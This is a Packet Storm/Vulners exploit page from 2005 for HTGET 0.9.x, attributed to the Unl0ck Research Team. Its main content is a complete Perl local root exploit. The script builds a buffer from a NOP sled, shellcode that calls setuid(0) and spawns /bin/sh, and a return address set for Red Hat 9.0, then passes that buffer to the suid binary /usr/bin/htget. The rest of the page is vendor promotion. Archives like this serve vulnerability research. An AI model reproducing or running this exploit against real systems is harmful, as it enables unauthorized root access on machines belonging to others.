Lucene search
K

un-htget_0.9x.txt

🗓️ 06 Jan 2005 00:00:00Reported by nekd0Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Local root exploit for HTGET version 0.9.x written by Unl0ck Research Team.

Code
`#!/usr/bin/perl  
#^^^^^^^^^^^^^^^^\....,,,,|:::::::____******  
#HTGET <= 0.9.x local lame r00t exploit *   
#written by nekd0 of Unl0ck Research Team *  
#(c) .unl0ck research team 2004-2005. *  
# http://unl0ck.void.ru *   
#................/^^^^''''|:::::::----******  
  
$shellcode =   
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".  
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31".  
"\xc0\x88\x43\x07\x89\x5b\x08\x89".  
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0".  
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff".  
"/bin/sh";  
  
$len = 288;  
$ret = 0xbfffd62a; #red hat 9.0   
$nop = "\x90";  
$offset = 0 ;  
$vulnprog="/usr/bin/htget";  
  
if (@ARGV == 1) {  
$offset = $ARGV[0];}  
  
if (!-u($vulnprog)){print "$vulnprog is not suid... exiting\n";exit();}  
  
for ($i=0; $i<($len-length($shellcode)-100);$i++)  
{$buffer .= $nop;}  
  
$buffer .= $shellcode;  
  
print ("Address: 0x",sprintf('%lx',($ret+$offset)),"\n");  
  
$new_ret = pack('l',($ret + $offset));  
  
for ($i+=length($shellcode); $i<$len; $i+=4)  
{$buffer .=$new_ret}  
  
exec("$vulnprog $buffer");  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation